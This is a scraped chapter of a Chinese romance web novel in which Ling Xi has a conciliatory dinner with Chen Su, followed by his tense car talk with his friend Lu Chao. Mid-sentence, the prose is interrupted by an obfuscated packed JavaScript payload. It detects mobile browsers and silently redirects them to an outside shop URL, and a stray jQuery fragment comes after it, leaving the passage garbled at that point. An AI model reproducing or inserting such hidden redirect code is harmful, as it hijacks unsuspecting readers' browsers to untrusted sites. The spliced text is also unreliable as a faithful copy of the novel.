文趣网 > 都市小说 > 失控潮汐 > 4. 私房菜
    那声音沿着电话听筒传入耳际,凌汐的语气也本能缓和几分,客气开口:“你好。”

    “凌小姐,很抱歉,上午研究所突然出了点急事,我原本拜托我朋友请你喝杯咖啡,没想到会给你带来困扰,真不好意思。”

    男人真诚的话语里含满歉意,轻易便将凌汐心底原存的那点抵触扫荡而空。

    她笑了笑:“没关系。”

    “我订了家不错的餐厅,现在快到你的清吧了,还请你一定赏脸。”

    凌汐短暂沉默,看了眼时间,答应了那头。

    十分钟后,凌汐仍然穿着上午那身牛仔外套,敞开露出里头的白色T恤和牛仔短裤,她特地把头发扎了起来,完全露出那张素净的脸。她才踏出门槛,一辆极其低调的黑色SUV停在她跟前。

    玻璃窗全降,坐在主驾驶座那人没耽搁,很快下车。

    不同于上午见到的男人,面前的陈溯上着米棕色Polo衫,长腿套了条深棕色长裤,袖口挽至胳膊肘,露出半臂的肌肉线条,左手腕口一支低调的野狼表。

    利落短发下平顺的眉尾微挑,双眸稍圆,两颗深棕眸珠浅带光亮,唇角微弯,完全弱化他高大身形带来的压迫感。

    “凌小姐,你好。请上车吧?”

    陈溯主动走到副驾驶座,车门打开,他的手挡在车顶侧。

    “谢谢。”

    还挺绅士,果然跟上午见到的毒舌冰雕完全不一样。

    凌汐想。

    低调的黑色SUV匀速穿行在长街,陈溯再次解释上午的事。

    那会他正准备出门,突然接到紧急通知,让他回研究所,他也没有凌汐的联系方式,找父母联系又太耗时,恰好他朋友在,他是拜托朋友去见她想当面说明情况再请她喝杯咖啡的,哪想到他那朋友没说明,还说了些冒犯的话。

    “我那朋友之前在部队当作训参谋,说话可能是直了点,还请你千万别往心里去。”

    作训参谋……

    还真是指挥军官啊?

    之前?

    凌汐胳膊撑在车窗边,手抵着下巴,摇头笑笑:“真的没关系,一场误会而已,陈先生的一顿饭可比这场误会的含金量高。”

    陈溯愣了愣,车在红灯口停下,他转头。

    四目短暂相对。

    凌汐朝他耸了耸肩,两人同时笑出声。

    “是我低估凌小姐了,好,那这件事就翻篇了。”

    “嗯,翻篇了。”

    凌汐慢慢舒了口气,背脊松散,往后一靠。

    “你那朋友也是国防科大毕业的吗?”

    车子继续行驶在一眼望不到底的车流中。

    “对,他本科读的作战指挥,当时学校组织演习认识的,后来硕士期间都在一栋学员公寓,早操、体能训练这种人多才有劲,大家都约着一起,久而久之就熟了。”

    作战指挥……

    怪不得看起来那么冷,还有点凶。

    “听说凌小姐读的经济学,怎么想起来去创业了?”陈溯主动问。

    凌汐换了个坐姿,下巴侧撇:“直接叫我凌汐就好。也没什么特别的,就是想趁年轻干点不一样的事。”

    陈溯点了点头:“这个选择确实需要很大的勇气,相识一场,等你的清吧开业了,我有时间一定过去捧场。”

    凌汐面上的笑意加深,十分洒脱:“好啊,随时欢迎,我请客。”

    -

    陈溯订的是家私房菜,地处闹市小巷,竹木栏几方围起,隔绝外头的喧闹,穿过幽静院落,一股浓浓的烟火气扑入鼻息,大厅挂着张行书牌匾,从右至左‘人间百味’几个大字随性洒脱,让人忍不住多看几眼。

    厅内几张棕色软皮沙发靠着墙沿,供客人等位、品茶。再往里走,包间以二十四节气命名,陈溯订到的是立夏包间。

    “这边的蔬菜都是老板在自家院子种的应季有机蔬菜,鱼也是她们自己养的,看看喜不喜欢。”陈溯把菜单递给凌汐。

    凌汐稍稍颔首,简单翻过菜单,点了几个招牌菜。

    陈溯又加了个汤,服务员收好菜单出去,包间很快安静下来。

    顶侧排风口的小红带匀匀飘动,舒适的凉气慢慢沁入,凌汐自然而然松了松肌肉,背脊顺势靠在座椅。

    面前的白瓷杯里是服务员刚帮她添的红枣枸杞茶,热气上飘,位于她对面的那张脸隔在淡雾之后,又添几分柔和。

    凌汐抿了口茶,湿润的喉嗓几回吞咽,渐渐酝酿出想说的话。

    她答应来吃饭是一回事,可她确实没有结婚的打算,恋爱什么的,她现在也不想。

    陈溯并没有冒犯她,她该跟人说清楚。

    唇舌微动,声带有了震动的趋势,只是字音还没来得及发出,一声清润随和的叫唤率先落入耳中。

    “凌汐。”

    凌汐的长睫本能扇了扇,嘴唇合上,双手交叠:“嗯?”

    陈溯眼角弯起,眸中显露的笑意不掺一丝别扭,他语气坦然道:“今天请你出来吃这顿饭,一来是表达歉意,二来呢,我很佩服你的勇气和执行力,既然有缘相识,希望我们能成为朋友。”

    凌汐纠缠的十指忽然松开。

    双眸望着陈溯缓慢眨动几下,她毫无顾忌地笑了:“陈上尉见笑了,我的荣幸。”

    陈溯果然比上午那个人会说话多了。

    凌汐没了包袱,和陈溯几句话聊起来。

    陈溯是为了梦想考入国防科大,现在事业也算步入正轨慢慢安定下来,他父母的确想让他快些找个对象,免得再过几年年纪大了就没女孩喜欢了。可陈溯追求顺其自然,再说这年头的相亲含金量实在是不高,为了结婚而结婚,把自己后半辈子搭进去,实在是不值当。

    只是结构使然,如果拒绝,后面依然会有数不尽的相亲介绍,不如干脆答应下来,双方来回踢球,也好过反复遭烦。

    “现在也还很年轻,26岁,一个刚读完书出社会没多久的年纪,未来还长着呢。”凌汐倒有些意外,碰上个观念跟她相似的人。

    或许确实能交个朋友。

    陈溯笑了笑,主动问:“不过你怎么精准想到开清吧的呢?现在创业的形式那么多。”

    清吧就连营业时间也偏向在傍晚到凌晨。

    凌汐的视线落在自己慢慢蜷紧的手上,唇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657213|207033||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边扯出抹笑,眸珠重新对上陈溯。

    语调轻抬,拖出几分随意:“个人喜好,加上我也是个夜猫子。”

    陈溯点点头,菜品也渐渐上齐。

    凌汐和陈溯都不是性格内敛的人,又是同龄人,也没了包袱,一整顿饭下来,两人也算是聊得开心。

    “在路口停就好。”陈溯的车开到潮汐Bar附近的路口时,凌汐主动开口。

    窗外风景的移动速度慢下来,车门锁“咔嗒”一声解开。

    “注意安全,再见。”陈溯主动招手。

    凌汐浅笑着点点头:“再见。”

    她拎着包,长腿大步往前迈,长发在身后轻轻晃动。

    居于她后方的车灯移动绕开,直至再没有一点亮光,连车轮的声音都愈来愈远。

    凌汐望着前方不远处,那道她亲自监工装好的招牌,嗓间溢出声浅哼。

    那个毒舌冰雕能交到陈溯这样的朋友,真稀奇。

    -

    月亮半掩至云层后,天幕浓黑,街上的喧嚣却半分不减。

    车窗外不远处的玻璃门边站了个身形高大的男人,手里的钥匙迅速转动,确认店门锁好后,男人转身直奔车辆走来。

    车门打开,外头的热风灌进来,混杂着柑橘香和淡淡花香,男人顺势扣好安全带,眉眼却突然蹙了蹙。

    “下次那女人坐了你的车记得消个毒,我不想再跟她有任何方式的直接或者间接接触。”

    陆潮目不转睛望着前方,嗓音沉冷,飘进车里的热气转瞬降温,融进排风口吹出的冷气,直直沁入肌理,陈溯没忍住缩了两下后颈。

    他瘪唇:“人家凌汐也没干什么事吧,你至于么?”

    陆潮不说话。

    黑色SUV挤入车流,陈溯又继续道:“我今天跟凌汐聊过了,人家只是不想结婚而已,并没有什么问题。”

    “她什么样跟我没关系。”

    “你该去跟人家道个歉。”

    “我不觉得我有给她道歉的理由。”

    “你说的话太难听。”

    “我说的只是实话。”

    “……”

    陈溯一向说不动陆潮,干脆也不说了,直接转了话题。

    “柒柒最近还好吧?”他问。

    半悬的长月不知什么时候从云层后出来,光辉不知有意无意,大半照进窗里。

    一道清晰的吸气声在车厢内响起,没一会,陆潮嗯了声:“挺好的,陈潇姐帮忙找的阿姨人很好,做事很周全。”

    陈溯无声点头,车厢又恢复安静。

    陆潮已经拿出手机,在安排明天的事情,注意力才慢慢转移过来,耳侧又一声询问入耳。

    “上次去淮南遇到李教授,他问起你,是不是真打算就这么半途而废?”

    车厢内陷入更长久的沉默,沉默到连窗外的月亮都意识到气氛不对,又躲回云层之后,再不出现,只留这浓墨黑夜。

    或许是黑夜过于沉重,不管是街上疾驰的车流还是路边的匆匆行人都赶着逃离,黑色的SUV混在车流中,自然不例外。

    至于那个问题,也始终没有得到答案。